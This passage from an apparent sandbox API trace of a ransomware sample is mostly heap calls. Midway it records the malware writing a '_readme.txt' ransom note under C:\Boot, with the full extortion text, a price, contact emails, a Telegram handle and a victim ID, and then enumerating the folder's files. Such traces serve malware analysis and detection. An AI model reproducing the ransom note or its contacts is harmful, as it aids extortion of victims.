out: hHeap=0x640000) returned 1 [0266.333] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.333] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.333] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.333] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.333] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.333] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.333] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.333] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.333] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.333] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.333] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.333] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.333] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.333] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.333] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.333] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.333] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.333] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.333] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.334] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.334] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.334] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.334] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.334] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.334] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.334] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.334] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.334] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.334] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.334] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.334] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.334] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.334] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.334] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.334] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.334] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.334] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.334] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.334] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.334] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.334] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.334] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.334] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.334] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.334] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.335] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.335] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.335] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.335] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.335] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.335] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.335] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.335] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.335] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.335] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.335] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.335] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.335] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.335] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.335] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.335] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.335] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.335] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.335] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.335] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.335] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.335] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.335] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.335] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.335] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.335] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.335] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.335] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.336] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.336] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.336] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.336] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.336] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.336] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.336] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.336] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.336] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.336] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.336] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.336] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.336] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.336] PathFindFileNameW (pszPath="C:\\Boot\\nb-NO\\") returned="nb-NO\\" [0266.336] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0266.336] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x640000) returned 1 [0266.336] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0266.336] PathFindFileNameW (pszPath="") returned="" [0266.336] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75d10000 [0266.337] GetProcAddress (hModule=0x75d10000, lpProcName="SHGetFolderPathW") returned 0x75d95708 [0266.337] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x31106e0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0266.337] FreeLibrary (hLibModule=0x75d10000) returned 1 [0266.337] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076cb0 | out: hHeap=0x640000) returned 1 [0266.337] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.337] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076f08 | out: hHeap=0x640000) returned 1 [0266.337] PathAppendW (in: pszPath="C:\\Boot\\nb-NO\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\nb-NO\\_readme.txt") returned 1 [0266.337] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.337] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076f08 | out: hHeap=0x640000) returned 1 [0266.337] PathFileExistsW (pszPath="C:\\Boot\\nb-NO\\_readme.txt") returned 0 [0266.338] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x7d00) returned 0x31156f0 [0266.338] lstrcpyW (in: lpString1=0x31156f0, lpString2="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" [0266.338] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs", lpString2="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" [0266.338] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x310a230 [0266.338] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\_readme.txt" (normalized: "c:\\boot\\nb-no\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0266.338] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x310a230 | out: hHeap=0x640000) returned 1 [0266.338] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31156f0 | out: hHeap=0x640000) returned 1 [0266.338] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.338] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076f08 [0266.338] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0266.339] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076f08 | out: hHeap=0x640000) returned 1 [0266.339] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.339] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0266.339] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0266.339] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0266.339] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.339] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7029f0 | out: hHeap=0x640000) returned 1 [0266.339] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7029f0 [0266.339] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.339] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.339] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.339] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.339] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.339] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.339] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.339] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.339] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.339] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.339] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.340] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.340] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.340] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.340] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.340] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.340] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.340] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.340] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.340] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.340] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.340] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.340] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.340] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.340] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.340] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.340] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.340] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0266.340] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.340] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.340] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.340] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.340] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.340] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.340] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.340] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.340] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.340] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.341] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.341] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.341] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.341] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.341] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.341] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.341] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.341] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.341] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.341] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.341] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.341] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.341] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.341] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.341] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.341] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.341] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.341] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.341] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.341] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.341] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.341] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.341] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.341] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.341] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.341] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.341] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 